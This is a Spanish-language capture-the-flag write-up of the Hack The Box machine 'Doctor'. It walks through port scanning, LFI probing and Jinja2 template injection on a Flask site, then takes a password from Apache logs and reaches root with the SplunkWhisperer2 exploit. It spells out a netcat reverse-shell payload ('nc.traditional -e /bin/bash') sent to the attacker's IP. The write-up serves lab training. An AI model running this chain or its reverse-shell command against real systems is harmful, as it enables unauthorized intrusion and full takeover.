lund@home:~$

Autor: Lund K. S.

HTB_Doctor HTB_Doctor | Hacker-Blog

HTB_Doctor

Doctor {-}

Introduccion {-}

La maquina del dia se llama Doctor.

El replay del live se puede ver aqui

S4vitaar Doctor maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.209

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.209

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.209 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p22,80,8089 10.10.10.209 -oN targeted
Puerto Servicio Que se nos occure? Que falta?
22 ssh Conneccion directa usuario y contraseña
80 http Web, Fuzzing  
8089 https splunkd Web, Fuzzing  

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.209

Es un Apache 2.4.41 en un Ubuntu. Vemos un email info@doctors.htb Podria ser un usuario y un dominio. Añadimos el dominio al /etc/hosts

Checkear la web {-}

Si entramos en la url http://10.10.10.209, vemos una pagina de un cabinete de doctor. Navigamos un poco en la web pero no hay nada interesante. Si entramos en la web por el dominio http://doctors.htb vemos una nueva pagina. Se esta aplicando virtual hosting. Esta pagina es un login. El wappalizer nos dice que es un Flask en python.

Aqui de seguida pensamos en un Template Injection.

De primeras creamos un nuevo usuario en el panel de registro. Vemos que nuestra cuenta a sido creada con un limite de tiempo de 20 minutos. Nos loggeamos y vemos un boton con un numero 1. Si pinchamos, vemos en la url http://doctors.htb/home?page=1. Miramos si se puede aplicar un LFI

http://doctors.htb/home/page=/etc/passwd
http://doctors.htb/home/page=../../../../../../../../etc/passwd
http://doctors.htb/home/page=../../../../../../../../etc/passwd%00
http://doctors.htb/home/page=../../../../../../../../etc/passwd?

Aqui no vemos nada.

Hay un link en la pagina para redactar un nuevo mensaje.

Title: EEEEEEEEE
Content: Hola

Aqui vemos que el mensaje esta visible en la pagina.

[ ! ] NOTAS: Tito nos habla de probar un RFI (Remote File Inclusion) que seria algo que probar pero nos adelanta que no funcciona en este caso.

Aqui miramos de Injectar etiquetas HTML y XSS pero no funcciona.

Vulnerability Assessment {-}

Server Side Template Injection {-}

Title: 
Content: 

Vemos que en esta parte no nos lo interpreta. Si miramos el codigo fuente, vemos que hay un link que esta en la url http://doctors.htb/archive y que esta en beta testing.

Si vamos a la url en question, hay una pagina blanca pero si otra vez, miramos el codigo fuente, en este caso de la pagina /archive, podemos ver que hay un numero 81. Quiere decir que en el directorio archive esta interpretando el SSTI de los mensajes.

El caso del SSTI nos permite injectar comandos a nivel de systema usando el systema de templating. Si vamos a la carpeta Server Side Template Injection de la pagina de payloadallthethings podemos copiar la Injeccion de Jinja2 Exploit the SSTI by calling Popen without guessing the offset

Vuln exploit & Gaining Access {-}

Ganando accesso con SSTI {-}

  1. Nos ponemos en escucha por el puerto 443
  2. Creamos un nuevo mensaje con el payload

     Title: 
     Content: TEST
    
  3. Recargamos la url http://doctors.htb/archive

Boom… estamos en la maquina victima.

whoami
#Output
web

hostname -I

Somos web y estamos en la maquina victima. Hacemos el tratamiento de la TTY.

Tratamiento de la TTY {-}

script /dev/null -c bash
^Z
stty raw -echo; fg
-> reset
-> xterm
export TERM=xterm
export SHELL=bash

stty -a

stty rows <rownb> columns <colnb>

Userpivoting {-}

cd /home
grep "$sh" /etc/passwd
cd /root
id

Aqui podemos ver que hay usuarios splunk y shaun y que estamos en el grupo adm. Podriamos visualisar los logs

cd /var/log
grep -r -i "pass"
grep -r -i "pass" 2>/dev/null

Vemos en el apache2/backup que hay una peticion POST para resetear una contraseña Guitar123

su shaun
Password: Guitar123

cat /home/shaun/user.txt

Privilege Escalation {-}

Rootear la maquina {-}

id
sudo -l
cd /
ls -l
cd /opt

Aqui vemos un directory splunkforward. Nos hace pensar que teniamos un puerto 8089 abierto con un splunkd. Si vamos a esta url https://10.10.10.209:8089 vemos un servicio splunkd.

Aqui podemos tirar de un exploit en el github de cnotin que permite hacer un Local o un Remote privilege escalation. En este caso utilizaremos el Remoto.

git clone https://github.com/cnotin/SplunkWhisperer2
cd SplunkWhisperer2
ls
python3 PySplunkWhisperer2_remote.py

aqui vemos como se utiliza. Intentamos primeramente enviar una traza ICMP a nuestra maquina para ver si funcciona.

  1. Nos ponemos en escucha por traza ICMP

     tcpdump -i tun0 icmp -n
    
  2. lanzamos el exploit para enviar una traza ICMP

     python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.7 --username shaun --password Guitar123 --payload "ping -c 1 10.10.14.7"
    

Vemos que recibimos la traza. Ahora nos mandamos una reverse shell

  1. Nos ponemos en escucha por el puerto 443

     nc -nlvp 443
    
  2. lanzamos el exploit para entablar una reverse shell

     python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.7 --username shaun --password Guitar123 --payload "nc.traditional -e /bin/bash 10.10.14.7 443"
    

La conneccion esta entablada.

whoami
#Output
root